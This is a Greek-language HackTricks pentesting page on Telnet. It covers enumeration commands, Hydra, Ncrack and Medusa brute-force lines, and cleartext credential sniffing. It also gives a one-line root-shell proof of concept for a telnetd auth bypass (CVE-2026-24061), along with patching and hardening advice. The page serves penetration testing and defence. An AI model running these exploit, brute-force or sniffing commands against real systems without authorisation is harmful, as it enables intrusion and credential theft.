23 - Pentesting Telnet
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω δικτύου.
Προεπιλεγμένη θύρα: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Η ενδιαφέρουσα enumeration μπορεί να γίνει με nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Το script telnet-ntlm-info.nse θα αποκτήσει πληροφορίες NTLM (εκδόσεις Windows).
From the telnet RFC: Στο TELNET Protocol υπάρχουν διάφορες “επιλογές” που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή “DO, DON’T, WILL, WON’T” ώστε να επιτρέπουν σε έναν χρήστη και σε έναν server να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεσή τους στο TELNET. Τέτοιες επιλογές μπορεί να περιλαμβάνουν αλλαγή του σετ χαρακτήρων, της λειτουργίας echo, κ.λπ.
Ξέρω ότι είναι δυνατό να απαριθμήσει κανείς αυτές τις επιλογές, αλλά δεν ξέρω πώς — πείτε μου αν το ξέρετε.
Απαρίθμηση Επιλογών / Δυνατοτήτων Telnet
Το Telnet χρησιμοποιεί IAC + DO/DONT/WILL/WONT διαπραγματεύσεις για να ενεργοποιήσει επιλογές. Μπορείτε να παρατηρήσετε τις υποστηριζόμενες επιλογές καταγράφοντας την αρχική διαπραγμάτευση και εξετάζοντας/δοκιμάζοντας συγκεκριμένες δυνατότητες.
Nmap δοκιμές επιλογών/λειτουργιών
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
Το telnet-encryption script ελέγχει αν η επιλογή ENCRYPT υποστηρίζεται; ορισμένες υλοποιήσεις ιστορικά χειρίστηκαν αυτήν την επιλογή λανθασμένα και ήταν ευάλωτες, αλλά το script μόνο ελέγχει την υποστήριξη.
telnet-ntlm-info αποκαλύπτει μεταδεδομένα NTLM (NetBIOS/DNS/OS build) όταν το Microsoft Telnet NTLM είναι ενεργοποιημένο.
telnet-brute είναι ένας NSE brute-force auditor για Telnet.
Brute force
Αρχείο ρυθμίσεων
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Αυτόματες Εντολές
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Πρόσφατες Ευπάθειες (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Εσφαλμένη επικύρωση εισόδου στην υπηρεσία telnet που επιτρέπει σε απομακρυσμένους επιτιθέμενους να συνδεθούν χρησιμοποιώντας hard-coded credentials και να inject OS commands· διορθώθηκε με firmware 1.04B05 ή νεότερο.
- CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow στο Telnet CLI
passwdcommand που επιτρέπει network-adjacent code execution ως root· απαιτείται authentication αλλά μπορεί να παρακαμφθεί. - CVE-2022-39028 – GNU inetutils telnetd: Μια ακολουθία δύο byte (
0xff 0xf7/0xff 0xf8) μπορεί να προκαλέσει NULL-pointer dereference στοtelnetd, και επαναλαμβανόμενα crashes μπορεί να οδηγήσουν το inetd να απενεργοποιήσει την υπηρεσία (DoS).
Κρατήστε αυτές τις CVE κατά νου κατά την vulnerability triage—αν ο στόχος τρέχει un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε έναν απευθείας δρόμο προς code-execution ή έναν διασπαστικό DoS.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Βασικό χαρακτηριστικό: Telnet NEW_ENVIRON επιτρέπει στους clients να ωθούν environment variables κατά την option negotiation· το inetutils telnetd αντικαθιστά το %U στο login template με getenv("USER") και το περνάει απευθείας στο /usr/bin/login, ενεργοποιώντας argv-level option injection (no shell expansion).
Βασική αιτία: οι εκδόσεις 1.9.3–2.7 επεκτείνουν το %U χωρίς φιλτράρισμα, οπότε μια τιμή USER που αρχίζει με - γίνεται parse ως flag του login. Για παράδειγμα, το %U γίνεται -f root, αποδίδοντας /usr/bin/login -h <hostname> "-f root" και παρακάμπτοντας την authentication μέσω login -f.
Ροή εκμετάλλευσης:
- Συνδεθείτε στην Telnet υπηρεσία και negoitate NEW_ENVIRON για να ορίσετε
USER=-f root. - Το
telnetdκατασκευάζει το login argv συμπεριλαμβάνοντας την τιμή του%Uπου ελέγχεται από τον επιτιθέμενο. - Το
/usr/bin/loginερμηνεύει το-f rootως “pre-authenticated user root” και spawn-άρει ένα root shell.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Σημείωση ενημέρωσης: inetutils 2.7-2 εισάγει έναν helper sanitize() που απορρίπτει τιμές που ξεκινούν με - ή περιέχουν κενά/μεταχαρακτήρες πριν τις αντικαταστήσει στο login argv, αποκλείοντας option injection.
Ανίχνευση/επικύρωση: εντοπίστε εκτεθειμένα daemons με telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, ή netstat -tlnp | grep :23.
Αντιμετώπιση
- Επιδιόρθωση/αναβάθμιση των επηρεαζόμενων πακέτων αμέσως (π.χ., οι διορθώσεις για Debian είναι στις
2:2.4-2+deb12u2,2:2.6-3+deb13u1, και2:2.7-2). - Απενεργοποιήστε το Telnet ή περιορίστε την πρόσβαση σε αξιόπιστα δίκτυα διαχείρισης κατά την εφαρμογή των ενημερώσεων.
Sniffing Credentials & Man-in-the-Middle
Telnet μεταδίδει τα πάντα, συμπεριλαμβανομένων των credentials, σε clear-text. Δύο γρήγοροι τρόποι για να τα καταγράψετε:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Για ενεργό MITM, συνδυάστε ARP spoofing (π.χ. arpspoof/ettercap) με τα ίδια φίλτρα sniffing για να harvest passwords σε switched networks.
Αυτοματοποιημένο Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Τα περισσότερα IoT botnets (παραλλαγές Mirai) εξακολουθούν να σαρώσουν το port 23 με μικρά default-credential dictionaries — η μίμηση αυτής της λογικής μπορεί να εντοπίσει γρήγορα αδύναμες συσκευές.
Exploitation & Post-Exploitation
Metasploit has several useful modules:
auxiliary/scanner/telnet/telnet_version– banner & option enumeration.auxiliary/scanner/telnet/brute_telnet– multithreaded bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).exploit/linux/mips/netgear_telnetenable– enables telnet service with a crafted packet on many NETGEAR routers.
Αφού αποκτηθεί shell, θυμηθείτε ότι τα TTYs είναι συνήθως περιορισμένα· αναβαθμίστε με python -c 'import pty;pty.spawn("/bin/bash")' ή χρησιμοποιήστε το HackTricks TTY tricks.
Hardening & Detection (Blue team corner)
- Προτιμήστε SSH και απενεργοποιήστε πλήρως την υπηρεσία Telnet.
- Εάν το Telnet είναι απαραίτητο, δεσμεύστε το μόνο στα management VLANs, επιβάλετε ACLs και τυλίξτε το daemon με TCP wrappers (
/etc/hosts.allow). - Αντικαταστήστε τις legacy
telnetdυλοποιήσεις μεssl-telnetήtelnetd-sslγια να προσθέσετε transport encryption, αλλά αυτό προστατεύει μόνο τα data-in-transit—password-guessing παραμένει trivial. - Παρακολουθήστε για εξερχόμενη κίνηση προς port 23· οι παραβιάσεις συχνά spawn reverse shells πάνω από Telnet για να παρακάμψουν αυστηρά HTTP egress φίλτρα.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


